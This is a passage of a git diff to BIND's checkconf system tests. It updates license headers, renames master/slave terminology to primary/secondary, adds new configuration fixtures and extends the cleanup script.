 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * 6to4-self TXT;
diff --git a/bin/tests/system/checkconf/bad-validation-auto-key.conf b/bin/tests/system/checkconf/bad-validation-auto-key.conf
index 295b393329..bd6f547999 100644
--- a/bin/tests/system/checkconf/bad-validation-auto-key.conf
+++ b/bin/tests/system/checkconf/bad-validation-auto-key.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-view-also-notify.conf b/bin/tests/system/checkconf/bad-view-also-notify.conf
index 418fa47a8f..071a621ee7 100644
--- a/bin/tests/system/checkconf/bad-view-also-notify.conf
+++ b/bin/tests/system/checkconf/bad-view-also-notify.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,7 +14,7 @@
 view example {
 	also-notify { missing; };
 	zone "example.net" {
-		type slave;
-		masters { 192.168.1.1; };
+		type secondary;
+		primaries { 192.168.1.1; };
 	};
 };
diff --git a/bin/tests/system/checkconf/bad-zsk-without-ksk.conf b/bin/tests/system/checkconf/bad-zsk-without-ksk.conf
new file mode 100644
index 0000000000..31b031cdc8
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-zsk-without-ksk.conf
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy zsk-without-ksk {
+	keys {
+		zsk lifetime 30d algorithm 13;
+	};
+};
+
+zone "example" {
+	type primary;
+	file "example.db";
+	dnssec-policy zsk-without-ksk;
+};
diff --git a/bin/tests/system/checkconf/check-dup-records-fail.conf b/bin/tests/system/checkconf/check-dup-records-fail.conf
index 684e8c6ee0..04880b6f00 100644
--- a/bin/tests/system/checkconf/check-dup-records-fail.conf
+++ b/bin/tests/system/checkconf/check-dup-records-fail.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,7 +16,7 @@ options {
 };
 
 zone "check-dup-records" {
-  type master;
+  type primary;
   file "check-dup-records.db";
   check-dup-records fail;
 };
diff --git a/bin/tests/system/checkconf/check-dup-records.db b/bin/tests/system/checkconf/check-dup-records.db
index 3d148e5d39..558686c3c3 100644
--- a/bin/tests/system/checkconf/check-dup-records.db
+++ b/bin/tests/system/checkconf/check-dup-records.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-missing-zone.conf b/bin/tests/system/checkconf/check-missing-zone.conf
index f43d3e2575..daf2cf7155 100644
--- a/bin/tests/system/checkconf/check-missing-zone.conf
+++ b/bin/tests/system/checkconf/check-missing-zone.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,14 +13,14 @@
 
 view missing {
 	zone missing.example {
-		type master;
+		type primary;
 		file "missing.example.db";
 	};
 };
 
 view good {
 	zone shared.example {
-		type master;
+		type primary;
 		file "shared.example.db";
 	};
 };
diff --git a/bin/tests/system/checkconf/check-mixed-keys.conf b/bin/tests/system/checkconf/check-mixed-keys.conf
index acdb67addc..1dd018dc03 100644
--- a/bin/tests/system/checkconf/check-mixed-keys.conf
+++ b/bin/tests/system/checkconf/check-mixed-keys.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-mx-cname-fail.conf b/bin/tests/system/checkconf/check-mx-cname-fail.conf
index 71292c8881..ac52ec0c98 100644
--- a/bin/tests/system/checkconf/check-mx-cname-fail.conf
+++ b/bin/tests/system/checkconf/check-mx-cname-fail.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,7 +16,7 @@ options {
 };
 
 zone "check-mx-cname" {
-  type master;
+  type primary;
   file "check-mx-cname.db";
   check-mx-cname fail;
 };
diff --git a/bin/tests/system/checkconf/check-mx-cname.db b/bin/tests/system/checkconf/check-mx-cname.db
index 321c38e107..dc30f0881d 100644
--- a/bin/tests/system/checkconf/check-mx-cname.db
+++ b/bin/tests/system/checkconf/check-mx-cname.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-mx-fail.conf b/bin/tests/system/checkconf/check-mx-fail.conf
index 2eb8ad676b..aa7a6663a5 100644
--- a/bin/tests/system/checkconf/check-mx-fail.conf
+++ b/bin/tests/system/checkconf/check-mx-fail.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,7 +16,7 @@ options {
 };
 
 zone "check-mx" {
-  type master;
+  type primary;
   file "check-mx.db";
   check-mx fail;
 };
diff --git a/bin/tests/system/checkconf/check-mx.db b/bin/tests/system/checkconf/check-mx.db
index 28331b4a19..dced6449f0 100644
--- a/bin/tests/system/checkconf/check-mx.db
+++ b/bin/tests/system/checkconf/check-mx.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-names-fail.conf b/bin/tests/system/checkconf/check-names-fail.conf
index 9c0ac26eae..86be82d5c3 100644
--- a/bin/tests/system/checkconf/check-names-fail.conf
+++ b/bin/tests/system/checkconf/check-names-fail.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,7 +16,7 @@ options {
 };
 
 zone "check-names" {
-  type master;
+  type primary;
   file "check-names.db";
   check-names fail;
 };
diff --git a/bin/tests/system/checkconf/check-names.db b/bin/tests/system/checkconf/check-names.db
index 7763647fbc..0274ec96ac 100644
--- a/bin/tests/system/checkconf/check-names.db
+++ b/bin/tests/system/checkconf/check-names.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-root-ksk-2010.conf b/bin/tests/system/checkconf/check-root-ksk-2010.conf
index d499ca7544..d422635139 100644
--- a/bin/tests/system/checkconf/check-root-ksk-2010.conf
+++ b/bin/tests/system/checkconf/check-root-ksk-2010.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-root-ksk-2017.conf b/bin/tests/system/checkconf/check-root-ksk-2017.conf
index 2cdcc327b7..72f6fb4df8 100644
--- a/bin/tests/system/checkconf/check-root-ksk-2017.conf
+++ b/bin/tests/system/checkconf/check-root-ksk-2017.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-root-ksk-both.conf b/bin/tests/system/checkconf/check-root-ksk-both.conf
index 408e832ce1..88c308f2a3 100644
--- a/bin/tests/system/checkconf/check-root-ksk-both.conf
+++ b/bin/tests/system/checkconf/check-root-ksk-both.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-root-static-ds.conf b/bin/tests/system/checkconf/check-root-static-ds.conf
index 9f4f055260..eb37b855a1 100644
--- a/bin/tests/system/checkconf/check-root-static-ds.conf
+++ b/bin/tests/system/checkconf/check-root-static-ds.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-root-static-key.conf b/bin/tests/system/checkconf/check-root-static-key.conf
index 4f3bf5bdc7..7be5304c33 100644
--- a/bin/tests/system/checkconf/check-root-static-key.conf
+++ b/bin/tests/system/checkconf/check-root-static-key.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-root-trusted-key.conf b/bin/tests/system/checkconf/check-root-trusted-key.conf
index ebefd9c977..65261a8677 100644
--- a/bin/tests/system/checkconf/check-root-trusted-key.conf
+++ b/bin/tests/system/checkconf/check-root-trusted-key.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-srv-cname-fail.conf b/bin/tests/system/checkconf/check-srv-cname-fail.conf
index e84630729a..3897bf8253 100644
--- a/bin/tests/system/checkconf/check-srv-cname-fail.conf
+++ b/bin/tests/system/checkconf/check-srv-cname-fail.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,7 +16,7 @@ options {
 };
 
 zone "check-srv-cname" {
-  type master;
+  type primary;
   file "check-srv-cname.db";
   check-srv-cname fail;
 };
diff --git a/bin/tests/system/checkconf/check-srv-cname.db b/bin/tests/system/checkconf/check-srv-cname.db
index 8bc71bdbe7..0671ab18a1 100644
--- a/bin/tests/system/checkconf/check-srv-cname.db
+++ b/bin/tests/system/checkconf/check-srv-cname.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/check-wildcard-no.conf b/bin/tests/system/checkconf/check-wildcard-no.conf
new file mode 100644
index 0000000000..beb641a9bd
--- /dev/null
+++ b/bin/tests/system/checkconf/check-wildcard-no.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "check-wildcard" {
+  type primary;
+  file "check-wildcard.db";
+  check-wildcard no;
+};
diff --git a/bin/tests/system/checkconf/check-wildcard.conf b/bin/tests/system/checkconf/check-wildcard.conf
new file mode 100644
index 0000000000..263f8b4a65
--- /dev/null
+++ b/bin/tests/system/checkconf/check-wildcard.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "check-wildcard" {
+  type primary;
+  file "check-wildcard.db";
+  check-wildcard yes;
+};
diff --git a/bin/tests/system/checkconf/check-wildcard.db b/bin/tests/system/checkconf/check-wildcard.db
new file mode 100644
index 0000000000..1db5af00e3
--- /dev/null
+++ b/bin/tests/system/checkconf/check-wildcard.db
@@ -0,0 +1,23 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 600	; 10 minutes
+@		IN SOA	mname1. . (
+				1          ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns2
+ns2			A	10.53.0.2
+; an interior wildcard name
+foo.*			TXT	The owner name contains an interior wildcard
diff --git a/bin/tests/system/checkconf/clean.sh b/bin/tests/system/checkconf/clean.sh
index aed6231e46..088c2f4731 100644
--- a/bin/tests/system/checkconf/clean.sh
+++ b/bin/tests/system/checkconf/clean.sh
@@ -1,17 +1,27 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-rm -f good.conf.in good.conf.out badzero.conf *.out
-rm -f good-kasp.conf.in
-rm -rf test.keydir
+rm -f bad-kasp-keydir1.conf
+rm -f bad-kasp-keydir2.conf
+rm -f bad-kasp-keydir3.conf
+rm -f bad-kasp-keydir4.conf
+rm -f bad-kasp-keydir5.conf
+rm -f bad-tsig.conf
 rm -f checkconf.out*
 rm -f diff.out*
+rm -f good-kasp.conf.in
+rm -f good-server-christmas-tree.conf
+rm -f good.conf good.conf.raw good.conf.out badzero.conf *.out
+rm -rf keys
 rm -f ns*/named.lock
+rm -rf test.keydir
diff --git a/bin/tests/system/checkconf/deprecated.conf b/bin/tests/system/checkconf/deprecated.conf
index d4f30a0b0c..15d719d6a4 100644
--- a/bin/tests/system/checkconf/deprecated.conf
+++ b/bin/tests/system/checkconf/deprecated.conf
@@ -1,16 +1,33 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
+server 1.2.3.4 {
+	query-source 10.10.10.10 port 5353;
+};
+
 options {
 	dnssec-validation yes;
+	max-zone-ttl 600;
+
+        dialup yes;
+        heartbeat-interval 60;
+
+	use-v4-udp-ports { range 1024 65535; };
+	use-v6-udp-ports { range 1024 65535; };
+	avoid-v4-udp-ports { range 1 1023; };
+	avoid-v6-udp-ports { range 1 1023; };
+
+	dnssec-must-be-secure mustbesecure.example yes;
 };
 
 trusted-keys {
@@ -34,3 +51,9 @@ managed-keys {
 		RUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwN
 		R1AkUTV74bU=";
 };
+
+zone example.com {
+	type primary;
+	file "maxttl-bad.db";
+	max-zone-ttl 120;
+};
diff --git a/bin/tests/system/checkconf/dlz-bad.conf b/bin/tests/system/checkconf/dlz-bad.conf
index 2ba89b19d3..7332112036 100644
--- a/bin/tests/system/checkconf/dlz-bad.conf
+++ b/bin/tests/system/checkconf/dlz-bad.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,8 +20,8 @@ dlz two {
 	search no;
 };
 
-zone master {
-	type master;
+zone primary {
+	type primary;
 	database "none";
 	dlz two;
 };
diff --git a/bin/tests/system/checkconf/dnssec.1 b/bin/tests/system/checkconf/dnssec.1
deleted file mode 100644
index edef76fde7..0000000000
--- a/bin/tests/system/checkconf/dnssec.1
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-view view1 {
-	match-clients { any; };
-	dnssec-validation yes;
-};
-
-view view2 {
-	match-clients { none; };
-	dnssec-validation auto;
-};
-
-view view3 {
-	match-clients { none; };
-	auto-dnssec maintain;
-};
diff --git a/bin/tests/system/checkconf/dnssec.2 b/bin/tests/system/checkconf/dnssec.2
deleted file mode 100644
index 56c4a52fe6..0000000000
--- a/bin/tests/system/checkconf/dnssec.2
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-view view1 {
-	match-clients { any; };
-};
-
-view view2 {
-	match-clients { none; };
-};
-
-view view3 {
-	match-clients { none; };
-	dnssec-validation auto;
-};
-
-view view4 {
-	match-clients { none; };
-};
-
-view view5 {
-	match-clients { none; };
-	auto-dnssec off;
-};
diff --git a/bin/tests/system/checkconf/good-acl.conf b/bin/tests/system/checkconf/good-acl.conf
index 532189916a..be32923292 100644
--- a/bin/tests/system/checkconf/good-acl.conf
+++ b/bin/tests/system/checkconf/good-acl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-allow-update-forwarding-view.conf b/bin/tests/system/checkconf/good-allow-update-forwarding-view.conf
index 0c2aeb8ddb..5bc9232978 100644
--- a/bin/tests/system/checkconf/good-allow-update-forwarding-view.conf
+++ b/bin/tests/system/checkconf/good-allow-update-forwarding-view.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-allow-update-forwarding.conf b/bin/tests/system/checkconf/good-allow-update-forwarding.conf
index 08203e1cf8..d7e89be0e5 100644
--- a/bin/tests/system/checkconf/good-allow-update-forwarding.conf
+++ b/bin/tests/system/checkconf/good-allow-update-forwarding.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-allow-update-view.conf b/bin/tests/system/checkconf/good-allow-update-view.conf
index a893b9a2c5..da799a201e 100644
--- a/bin/tests/system/checkconf/good-allow-update-view.conf
+++ b/bin/tests/system/checkconf/good-allow-update-view.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-allow-update.conf b/bin/tests/system/checkconf/good-allow-update.conf
index 67f41d6aa0..6b7a67ef09 100644
--- a/bin/tests/system/checkconf/good-allow-update.conf
+++ b/bin/tests/system/checkconf/good-allow-update.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
